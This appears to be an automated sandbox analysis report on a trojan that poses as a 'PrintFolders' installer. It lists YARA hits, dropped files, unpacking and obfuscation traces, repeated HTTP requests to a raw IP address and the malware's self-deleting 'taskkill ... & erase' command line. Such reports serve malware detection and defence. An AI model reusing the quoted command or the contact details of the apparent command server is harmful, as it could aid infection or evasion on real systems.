                Source: global trafficHTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
                Source: file.exe, 00000000.00000002.383227666.000000000070A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

                E-Banking Fraud

                barindex
                Source: Yara matchFile source: 2.2.PrintFolders.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.PrintFolders.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.PrintFolders.exe.3310000.3.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.PrintFolders.exe.3310000.3.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.381430567.0000000001730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.381635240.0000000003310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: file.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004081C80_2_004081C8
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004689401_2_00468940
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00460F301_2_00460F30
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0043DF701_2_0043DF70
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004303A41_2_004303A4
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0047A6D81_2_0047A6D8
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004446E81_2_004446E8
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004349941_2_00434994
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0045AA901_2_0045AA90
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00480BDC1_2_00480BDC
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00444C901_2_00444C90
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00462F381_2_00462F38
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004453881_2_00445388
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004356981_2_00435698
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004457941_2_00445794
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0042F9481_2_0042F948
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00457BB41_2_00457BB4
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_004044902_2_00404490
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_004096F02_2_004096F0
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_004056A02_2_004056A0
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_004068002_2_00406800
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00406AA02_2_00406AA0
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00404D402_2_00404D40
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00405F402_2_00405F40
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00402F202_2_00402F20
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_004150D32_2_004150D3
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_004153052_2_00415305
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_004223A92_2_004223A9
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_004195102_2_00419510
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_004048402_2_00404840
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_004268502_2_00426850
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00410A502_2_00410A50
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_0042AB9A2_2_0042AB9A
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00421C882_2_00421C88
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_0042ACBA2_2_0042ACBA
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00447D2D2_2_00447D2D
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00428D392_2_00428D39
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00404F202_2_00404F20
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_1000F6702_2_1000F670
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_1000EC612_2_1000EC61
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: String function: 10003C50 appears 34 times
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: String function: 0040F9E0 appears 54 times
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: String function: 004035DC appears 90 times
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: String function: 00403548 appears 61 times
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: String function: 00407B08 appears 33 times
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: String function: 00445FF4 appears 43 times
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: String function: 00455A04 appears 49 times
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: String function: 004037CC appears 193 times
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: String function: 00405AA4 appears 92 times
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: String function: 00455814 appears 86 times
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: String function: 004462C4 appears 58 times
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: String function: 004348AC appears 32 times
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: String function: 00451AFC appears 62 times
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: String function: 00408DF0 appears 42 times
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00423D9C NtdllDefWindowProc_A,1_2_00423D9C
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004127F0 NtdllDefWindowProc_A,1_2_004127F0
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004551C4 PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,1_2_004551C4
                Source: is-71GCF.tmp.0.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
                Source: is-71GCF.tmp.0.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
                Source: is-71GCF.tmp.0.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                Source: is-6QPAJ.tmp.1.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
                Source: is-6QPAJ.tmp.1.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) Intel Itanium, for MS Windows
                Source: is-6QPAJ.tmp.1.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                Source: is-JPR4D.tmp.1.drStatic PE information: No import functions for PE file found
                Source: file.exe, 00000000.00000000.291891390.0000000000410000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilename" vs file.exe
                Source: file.exe, 00000000.00000003.292588348.0000000001FA8000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameshfolder.dll~/ vs file.exe
                Source: file.exe, 00000000.00000003.292588348.0000000001FA8000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilename6 vs file.exe
                Source: file.exe, 00000000.00000003.292390929.0000000002090000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameshfolder.dll~/ vs file.exe
                Source: file.exe, 00000000.00000003.292390929.0000000002090000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilename6 vs file.exe
                Source: file.exeBinary or memory string: OriginalFilename" vs file.exe
                Source: Joe Sandbox ViewDropped File: C:\Program Files (x86)\PrintFolders\Russian.dll (copy) A960C9DCD1D5C7B79F4FDD38D6F25299F4F7925555E381EA4AB6217681482F62
                Source: PrintFolders.exe.1.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_SYSHEAP, IMAGE_SCN_MEM_LOCKED, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\user\Desktop\file.exeJump to behavior
                Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: unknownProcess created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
                Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp "C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp" /SL4 $30340 "C:\Users\user\Desktop\file.exe" 1077961 51712
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess created: C:\Program Files (x86)\PrintFolders\PrintFolders.exe "C:\Program Files (x86)\PrintFolders\PrintFolders.exe"
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeProcess created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\CqxAaSZxg.exe
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "PrintFolders.exe" /f & erase "C:\Program Files (x86)\PrintFolders\PrintFolders.exe" & exit
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "PrintFolders.exe" /f
                Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp "C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmp" /SL4 $30340 "C:\Users\user\Desktop\file.exe" 1077961 51712 Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess created: C:\Program Files (x86)\PrintFolders\PrintFolders.exe "C:\Program Files (x86)\PrintFolders\PrintFolders.exe" Jump to behavior
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeProcess created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\CqxAaSZxg.exe Jump to behavior
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "PrintFolders.exe" /f & erase "C:\Program Files (x86)\PrintFolders\PrintFolders.exe" & exitJump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "PrintFolders.exe" /f Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00408F74 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,6CF14E70,0_2_00408F74
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00453A8C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,6CF14E70,1_2_00453A8C
                Source: C:\Windows\SysWOW64\taskkill.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = &quot;PrintFolders.exe&quot;)
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeFile created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}Jump to behavior
                Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmpJump to behavior
                Source: classification engineClassification label: mal96.troj.evad.winEXE@12/23@0/5
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00401B30 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,2_2_00401B30
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpFile read: C:\Users\desktop.iniJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00454498 GetModuleHandleA,6CAA5550,GetDiskFreeSpaceA,1_2_00454498
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00402BF0 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,2_2_00402BF0
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_00405350 CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,FindCloseChangeNotification,2_2_00405350
                Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4568:120:WilError_01
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0040B1E0 FindResourceA,FreeResource,1_2_0040B1E0
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpFile created: C:\Program Files (x86)\PrintFoldersJump to behavior
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCommand line argument: `a}{2_2_004096F0
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCommand line argument: MFE.2_2_004096F0
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCommand line argument: ZK]Z2_2_004096F0
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCommand line argument: ZK]Z2_2_004096F0
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpWindow found: window name: TMainFormJump to behavior
                Source: Window RecorderWindow detected: More than 3 window changes detected
                Source: file.exeStatic file information: File size 1313965 > 1048576
                Source: Binary string: E:\DATA\Codework\PrintFolders\source\Release\Russian.pdb source: is-JPR4D.tmp.1.dr

                Data Obfuscation

                barindex
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeUnpacked PE file: 2.2.PrintFolders.exe.400000.0.unpack
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeUnpacked PE file: 2.2.PrintFolders.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R;.rgw89:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00406584 push 004065C1h; ret 0_2_004065B9
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00404159 push eax; ret 0_2_00404195
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00404229 push 00404435h; ret 0_2_0040442D
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00407E84 push ecx; mov dword ptr [esp], eax0_2_00407E89
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004042AA push 00404435h; ret 0_2_0040442D
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00408B24 push 00408B57h; ret 0_2_00408B4F
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00404327 push 00404435h; ret 0_2_0040442D
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040438C push 00404435h; ret 0_2_0040442D
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00409B70 push 00409BADh; ret 1_2_00409BA5
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0040A257 push ds; ret 1_2_0040A258
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00478210 push 004782BBh; ret 1_2_004782B3
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0040A22B push ds; ret 1_2_0040A255
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004063C8 push ecx; mov dword ptr [esp], eax1_2_004063C9
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004303A4 push ecx; mov dword ptr [esp], eax1_2_004303A9
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0045A74C push ecx; mov dword ptr [esp], eax1_2_0045A751
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004108E8 push ecx; mov dword ptr [esp], edx1_2_004108ED
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00412B40 push 00412BA3h; ret 1_2_00412B9B
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00450FF8 push 0045102Bh; ret 1_2_00451023
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0040D240 push ecx; mov dword ptr [esp], edx1_2_0040D242
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004055BD push eax; ret 1_2_004055F9
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00443660 push ecx; mov dword ptr [esp], ecx1_2_00443664
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0040568D push 00405899h; ret 1_2_00405891
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00479768 push ecx; mov dword ptr [esp], ecx1_2_0047976D
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0040570E push 00405899h; ret 1_2_00405891
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004057F0 push 00405899h; ret 1_2_00405891
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0040578B push 00405899h; ret 1_2_00405891
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0040F7A0 push ecx; mov dword ptr [esp], edx1_2_0040F7A2
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00419E40 push ecx; mov dword ptr [esp], ecx1_2_00419E45
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_004311AD push esi; ret 2_2_004311B6
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeCode function: 2_2_0040F4BB push ecx; ret 2_2_0040F4CE
                Source: PrintFolders.exe.1.drStatic PE information: section name: .rgw89
                Source: initial sampleStatic PE information: section name: .text entropy: 7.269758143758418
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpFile created: C:\Users\user\AppData\Local\Temp\is-2LA91.tmp\_iscrypt.dllJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpFile created: C:\Program Files (x86)\PrintFolders\unins000.exe (copy)Jump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpFile created: C:\Program Files (x86)\PrintFolders\PrintFolders.exeJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpFile created: C:\Program Files (x86)\PrintFolders\Russian.dll (copy)Jump to dropped file
                Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpFile created: C:\Users\user\AppData\Local\Temp\is-2LA91.tmp\_isetup\_shfoldr.dllJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpFile created: C:\Users\user\AppData\Local\Temp\is-2LA91.tmp\_isetup\_setup64.tmpJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpFile created: C:\Program Files (x86)\PrintFolders\is-JPR4D.tmpJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpFile created: C:\Program Files (x86)\PrintFolders\is-6QPAJ.tmpJump to dropped file
                Source: C:\Program Files (x86)\PrintFolders\PrintFolders.exeFile created: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\CqxAaSZxg.exeJump to dropped file
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00423E24 IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,1_2_00423E24
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00423E24 IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,1_2_00423E24
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004243F4 IsIconic,SetActiveWindow,SetFocus,1_2_004243F4
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004243AC IsIconic,SetActiveWindow,1_2_004243AC
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_0041859C IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,1_2_0041859C
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00422A74 SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,1_2_00422A74
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_004177B0 IsIconic,GetCapture,1_2_004177B0
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00477D2C IsIconic,GetWindowLongA,ShowWindow,ShowWindow,1_2_00477D2C
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00417EE6 IsIconic,SetWindowPos,1_2_00417EE6
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpCode function: 1_2_00417EE8 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,1_2_00417EE8
                Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\file.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\is-F6DC2.tmp\is-71GCF.tmpProcess information set: NOOPENFILEERRORBOXJump to behavior
